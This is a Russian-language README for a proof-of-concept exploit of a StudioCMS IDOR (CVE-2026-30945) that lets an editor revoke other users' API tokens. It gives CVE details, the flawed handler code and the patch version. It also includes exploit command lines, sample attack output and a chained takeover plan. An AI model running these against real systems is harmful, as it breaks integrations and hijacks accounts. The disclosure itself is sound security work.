
Proof-of-concept эксплойт для CVE-2026-30945, IDOR в StudioCMS, позволяющий произвольный отзыв API-токенов и отказ в обслуживании. Включает режимы ручного и автоматизированного тестирования.
StudioCMS IDOR — Произвольный отзыв API-токенов, приводящий к отказу в обслуживании
Конечная точка DELETE /studiocms_api/dashboard/api-tokens в StudioCMS ≤ 0.3.0 позволяет любому аутентифицированному пользователю с правами editor или выше отзывать API-токены, принадлежащие любому другому пользователю, включая учётные записи admin и .
ownerОбработчик принимает tokenID и userID непосредственно из тела запроса без проверки владения токеном, личности вызывающего или иерархии ролей. Это позволяет осуществлять целенаправленный отказ в обслуживании критически важных интеграций и автоматизаций.
Связано: Эта уязвимость имеет ту же первопричину, что и CVE-2026-30944 (IDOR при генерации токенов). При объединении в цепочку злоумышленник может отозвать легитимные токены и сгенерировать новые, добившись полного захвата учётных данных API.
┌──────────────┐ DELETE /api-tokens ┌──────────────┐
│ │ {"tokenID":"<id>", │ │
│ Attacker │ "userID":"<owner-id>"} │ StudioCMS │
│ (Editor) │ ──────────────────────────► │ Server │
│ │ │ │
│ │ ◄────────────────────────── │ │
└──────────────┘ {"message":"Token deleted"} └──────────────┘
│
▼
┌──────────────┐
│ Owner's │
│ CI/CD │
│ Pipeline │──► ❌ 401 Unauthorized
│ Integration │──► ❌ API Access Lost
│ Monitoring │──► ❌ Silent Failure
└──────────────┘
| Поле | Значение |
|---|---|
| CVE | CVE-2026-30945 |
| GHSA | GHSA-8rgj-vrfr-6hqr |
| CVSS v3.1 | 7.1 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H |
| CWE | CWE-639: Обход авторизации через управляемый пользователем ключ |
| CWE (дополнительно) | CWE-863: Некорректная авторизация |
| MITRE ATT&CK | T1531 — Удаление доступа к учётной записи |
| OWASP API | API1:2023 — Нарушенная авторизация на уровне объектов |
| Затронуто | studiocms ≤ 0.3.0 |
| Исправлено в | studiocms 0.4.0 |
| Файл | Описание |
|---|---|
cve_2026_30945_poc.py | Python-скрипт эксплуатации с ручным и автоматическим режимами |
README.md | Этот файл |
LICENSE | Лицензия MIT |
Editorpip install requests colorama
# Отзыв конкретного токена, принадлежащего владельцу
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
# Объединение с CVE-2026-30944: сначала создание токена для цели
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# Сохранение результатов в JSON
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
--save
# Тестирование с несколькими ролями
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
| Аргумент | Описание |
|---|---|
-u, --url | Базовый URL целевого StudioCMS |
--target-uuid | UUID целевого пользователя, чей токен будет отозван |
| Аргумент | Описание |
|---|---|
--token-id | Внутренний UUID записи токена для отзыва (не JWT). Если опущен, скрипт сначала попытается создать токен через CVE-2026-30944 |
| Аргумент | Описание |
|---|---|
--username | Имя пользователя для аутентификации |
--password | Пароль для аутентификации |
| Аргумент | Описание |
|---|---|
--auto-test | Включить автоматическое тестирование с несколькими ролями |
--editor-user | Имя пользователя учётной записи Editor |
--editor-pass | Пароль учётной записи Editor |
--visitor-user | Имя пользователя учётной записи Visitor |
--visitor-pass | Пароль учётной записи Visitor |
| Аргумент | Описание |
|---|---|
--save | Сохранить результаты в JSON-файл |
--no-ssl-verify | Отключить проверку SSL-сертификатов |
──────────────────────────────────────────────────────────
PHASE 1: Authentication
──────────────────────────────────────────────────────────
[+] Authenticated as 'editor01'
[*] Session user: editor01 (editor)
[*] Session UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
PHASE 3: Token Revocation (IDOR)
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Token ID: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revoking target's API token...
[+] Token revoked! Server response: Token deleted
[!] VULNERABILITY CONFIRMED — Token successfully revoked!
[!] Target user's API integrations are now broken (DoS)
──────────────────────────────────────────────────────────
PHASE 3: Token Revocation (IDOR)
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Token ID: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revoking target's API token...
[*] Access denied (403 Forbidden) — endpoint may be patched
[-] Revocation failed: Access denied (403 Forbidden)
При объединении с IDOR при генерации токенов (CVE-2026-30944) злоумышленник может выполнить полный захват учётных данных API:
Step 1: Revoke owner's legitimate token (CVE-2026-30945)
└──► Owner's CI/CD pipelines break silently
Step 2: Generate new token for owner (CVE-2026-30944)
└──► Attacker now has owner-level API access
Step 3: Owner creates a new token to fix
└──► Attacker revokes it again (persistent DoS)
Это создаёт сценарий, в котором злоумышленник сохраняет постоянный контроль над API-доступом владельца, многократно отзывая любые новые токены, создаваемые владельцем, сохраняя при этом собственный нелегитимный доступ.
Уязвимый обработчик в packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (строки 58–99) принимает tokenID и userID из тела запроса и передаёт их напрямую в функцию удаления без каких-либо проверок авторизации:
// [1] Only checks if caller is editor — not WHO they're deleting tokens for
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] Both values from request body — no validation against session
const jsonData = yield* readAPIContextJson<{
tokenID: string; // No ownership check
userID: string; // No identity check
}>(ctx);
// [3] Passed directly to destructive operation — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });
Обработчик имеет пять различных недостатков: недостаточный шлюз разрешений, отсутствие проверки владения токеном, отсутствие проверки личности вызывающего, отсутствие контроля иерархии ролей и прямая передача управляемых пользователем значений в деструктивную операцию.
Обновите StudioCMS до версии 0.4.0 или новее:
npm install studiocms@latest
Этот инструмент предоставляется исключительно в образовательных целях и для авторизованного тестирования безопасности.
Filipe Gaudard
Этот PoC выпущен под лицензией MIT в образовательных целях. Используйте ответственно и этично.